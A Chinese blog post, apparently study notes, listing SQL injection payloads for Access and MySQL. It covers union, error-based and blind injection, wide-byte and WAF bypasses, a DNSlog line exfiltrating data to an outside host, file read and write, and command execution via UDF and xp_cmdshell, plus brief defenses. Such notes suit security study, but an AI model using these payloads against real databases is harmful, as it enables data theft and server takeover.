文档章节

SQL注入备忘录

o
 osc_gu9d45li
发布于 2019/04/05 22:20
字数 1923
阅读 24
收藏 0

精选30+云产品,助力企业轻松上云!>>>

备忘录(一)

拿起小本本记下常考知识点。

<!--more-->

常用连接词

  • and && %23%23 且
  • or || %7c%7c 或
  • xor 非

Access 数据库:

只能爆破表名、列名获取数据、无法用盲注等 数据主要存储在mdb、sap文件内

0x01 手工:

先判断字段数:
order by xx
在使用联合查询猜测表名列名:

前后两个子查询返回的结构必须相同,且数据类型必须相同,故常用NULL

猜表:union select 1,2,3,xx
猜列:union select 1,2,password,4,5 (如果页面返回正常,则存在password列,猜表同理)
此方法兼容性不强。

0x02 工具:

逐字猜解法:
一、查表: and exists (select * from 表名) //这里的表名需要靠猜解,如果表名存在返回正常页面。
二、查列:*换成列名可进行爆破列名,即:and exists (select 列名 from 表名)
三、确定列名下的数据长度:
and (select top 1 len(列名) from 表名)=5 //判断数据长度是否为5,若为5则返回正常
四、逐字猜解数据:
and (select top 1 asc(mid(列名,位数,1)) from 表名)=97 //用mid函数取第x位字母,通过asc函数转化成ascii码进行判断比较,如果ascii为97,即字母a,页面返回正常

mysql数据库:

Version<5.0:

  • 爆破
  • 盲注

version>=5.0:

information_schema表下存储了Mysql数据库所有的数据库结果信息。

  • information_schema.schemeta //Mysql里所有的数据库库名
  • information_schema.tables //所有表名
  • information_schema.columns //所有列名

常用函数:

  • user() //查询数据库用户
  • version() //查询版本
  • @@basedir() //查询数据库路径
  • database() //查询当前数据库名
  • @@version_compile_os() //查询操作系统

用法例子: union select user(),2,3,version(),database(),xxx
可用null代替: union select user(),null,null,version(),database(),xxx

更多函数:

  • concat() //字符串相加
  • group_concat() //分组打印
  • length() //取字符串长度
  • substr(str,pos,len) //str字符串从pos位置开始取len个长度 substring()别名
  • mid(str,pos,len) //str字符串从pos位置开始取len个长度
  • ascii(str) //返回字符串str的首个字符的ASCII代码值
  • ord(str) //str或bool转为ascii
  • if(a,b,c) //a为条件,若a正确则返回b,相反返回c.

常用查询:
查询全部数据库名:
select schema_name from information_schema.schemeta limit 0,10 //取前十个
查询指定表名:
select table_name from information_schema.tables where table_schema='sqli' //若单引号被过滤可用十六进制
查询指定列名:
select column_name from information_schema.columns where table_name='user' and table_schema='sqli'
获取指定数据:
select username,password from sqli.user (垮库查询)

注释:

%23, -- X(X为任意字符)
/(MySQL-5.1)
;%00
'or 1=1;%00 'or 1=1 union select 1,2'
'or 1=1 #
'/
!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138
'/!or/ 1=1 -- -

nd/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/or前的空格可以省略

宽字节注入:

一、常见:
mysql数据库编码为gbk,且若'被转义成' 使用id=%df%27,这里的%27会被变成\%27%5c%27,再加上前边的%df变成%df%5c%27,而%df%5c在gbk字符集中表示汉子: 運,故语句便成id=運',成功逃逸出单引号转义(php中通常是addslashes函数,或开启GPC,PHP5.4版本已移除GPC)
二、php函数utf8转gbk产生:
https://xz.aliyun.com/t/1719

报错注入:

floor()和rand()

虚拟表报错原理:
payload: union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
https://www.2cto.com/article/201604/498394.html

extractvalue()

原理:
extractvalue函数的第二个参数格式错误,会返回参数内容
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

updatexml() 同上具有32位长度限制

原理同上
payload: and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
// concat 在前后加上 ~ 使数据不符合参数格式从而报错

GeometryCollection()等三重子查询报错

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon()
id =1 AND polygon((select * from(select * from(select user())a)b)) multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b)) multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b)) linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b)) multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))

exp() Mysql5.5.5+

原理:
exp函数参数过大,转换时溢出报错
payload: and exp(~(select * from(select user())a))
https://drops.secquan.org/tips/8166

以上类型均为子查询注入

Mysql盲注:

类型

  • 布尔盲注
  • 时间盲注

布尔盲注:
and ascii(substr(select user(),1,1))>64 如果user()第一位字母Ascii大于64则页面返回正常
时间盲注:
and if(ascii(substr(select user(),1,1))>64,sleep(2),1) 如果user()第一位字母Ascii大于64则页面延迟两秒返回

BENCHMARK(count,expr)

此函数会执行expr函数count此,会造成明显时间延迟,可构造进行时间盲注

常见注入:

  • 数字型
  • 字符串型 按照注入类型: +SELECT型 //常用于获取信息,注入处常位于where 后,后可接注释字符保证查询的语法正确。 +INSERT型 //建立新的数据 +UPDATA型 //修改数据 +DELECT型 //删除数据

MYSQL长度限制绕过 MYSQL对于用户输入的超长字符只会warning 而不是error 真实案例: WP注册admin(55个空格)x用户 修改管理员密码

DNSlog注入

select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\');
https://www.cnblogs.com/afanti/p/8047530.html
https://wooyun.js.org/drops/%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E4%B8%AD%E4%BD%BF%E7%94%A8DNS%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE.html

SQL注入防御:

1.预编译sql 2.限制输入数据类型 3.过滤编码 4.白名单 5.管理数据库用户权限 6.按时维护,打好补丁

SQL注入绕过:

注入中常注意的编码:

  • %01-%0D特殊字符绕空格
  • &= 在浏览器Url时要进行URL编码 %26 %3d
  • 查询字符串中不允许有空格,可用%20,+对其编码
  • Cookie注入时,SQL语句中的分号得编码

单引号过滤

若有单引号保护,且无编码二次注入即无漏洞。
若无单引号保护:
字符串可用十六进制表示:0x123456,也可用concat(char(65)+char(75)+xxx)

注:中间层会将这些编码转换成未编码值

判断注入点时的绕过:

  • && 1=1
  • && 1=true
  • && false
  • %23%23 true
  • %23%23 '0'=0
  • %23%23 'a'='b'='c' //true
  • and~!!~if('a'='b'="c",sleep(2),1)

特定字符串被过滤时可用考虑全角字符

绕过WAF

a) 大小写混合
b)替换关键字
c)使用编码
d)使用注释
e)等价函数与命令
f)使用特殊符号
g)HTTP参数控制
h)缓冲区溢出
i)整合绕过

与系统直接交互:

load_file()读取文件
into out_file() 写文件
条件:FILE权限,管理员权限默认具有
INTO OUTFILE 与 INTO DOMPFILE的区别
后者适用于二进制文件,会将目标文件写入同一行内;前者适用于文本文件。
MYSQL UDF命令执行:sqlmap: --os-cmd id -v 1
MSSQL:xp_cmdshell

其他:

Boolean注入

如果页面只返回Yes或No,则原sql查询返回的值可能是可bool值,如果过滤不严,可产生boolean注入,如:
and length(database())>10 如果次条件为真切前条件返回真,则页面返回正常。

Cookie注入

注入存在于Cookie中

XFF头注入

注入存在于Header有中的X-Forward-For中,此函数常用于获取客户端真实IP。

堆叠注入

PHP+Mysql不支持

连接符差异:

Oracle: || 是连接符
MSSQL: +
MYSQL: [空格]

相关好文:

SQL注入备忘手册(更新2017-12-11)
巧用DNSlog实现无回显注入
MySQL注入技巧
Mysql报错注入原理分析(count()、rand()、group%20by)
深入了解SQL注入绕过waf和过滤机制

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。
常见sql注入-备忘录

union注入 union注入是利用union来提取数据 使用union提取数据的基本思路 union后面select 的列数必须要和union前面的列数保持一致-------->这个也可以代替order by 来猜测表的字段 union后面...

l0calh0st
2018/08/11
61
0
MySQL的注入总结

0x01 MySQL 5.0以上和MySQL 5.0以下版本的区别 MySQL5.0以上版本存在一个叫的数据库,它存储着数据库的所有信息,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据...

osc_kalanll2
2019/09/16
1
0
SCTF2018 Writeup

/ |/ | | || ( | | | | | | _ | | | | | | ) | | | | | | |/ | || || WEB_ 0x01 easiest web – phpMyAdmin 思路: 弱口令(root / root)登陆phpmyadmin,利用日志功能进行getshell 送分题,......

osc_4edlv799
2018/06/26
6
0
设计模式----备忘录模式

前面说的设计模式几乎都有用到继承、接口,今天,我要说的这个设计模式,它就没有用到任何接口,也不需要抽象类,更没有复杂的继承关系,它就是备忘录模式,何为备忘录,按照现实世界的理解,...

osc_es532h90
2019/05/12
1
0
Java:23种设计模式

设计模式(Design pattern)的定义: In software engineering, a software design pattern is a general, reusable solution to a commonly occurring problem within a given context in s......

osc_tauwfamo
2018/07/16
2
0

没有更多内容

加载失败,请刷新页面

加载更多

WCF设计服务协议(一)

实现WCF的步骤如下: 设计服务协议 实现服务协议 配置服务 托管服务 生成客户端(这步可有可无) 设计或定义服务协议要么使用接口,要么使用类。建议接口,使用接口好处一堆例如修改接口的实...

osc_34b9n45c
7分钟前
0
0
【融职培训】Web前端学习 第10章 小程序开发3 目录结构介绍

一、项目目录 当我们创建好一个项目时,项目的目录如下所示: 可以看出小程序根目录下,有三个app开头的文件(app.js/app.json/app.wxss),和两个文件目录pages、utils. 其中,utils文件下存放...

学习猿地
7分钟前
0
0
Vscode html代码快速填写

前言 博主目前在用django进行web服务的部署,过程中遇到了许多问题,特此记录。 目录 文章目录 前言 目录 描述 描述 在网上搜索时发现,VScode可以自动补全html的代码,但自己的VScode却不具...

osc_j9qcf98f
9分钟前
0
0
LINQ聚合算法解释 - LINQ Aggregate algorithm explained

问题: This might sound lame, but I have not been able to find a really good explanation of Aggregate . 这可能听起来很蹩脚,但我还没有找到一个关于Aggregate的非常好的解释。 Good...

javail
9分钟前
0
0
django 创建超级用户时报错 1146

前言 博主目前在使用django部署web服务,遇到了一些列问题,特此记录,方便自己和别人 目录 文章目录 前言 目录 描述 解决方法 描述 操作(创建超级用户): python manage.py createsuperus...

osc_wyap8yov
10分钟前
0
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部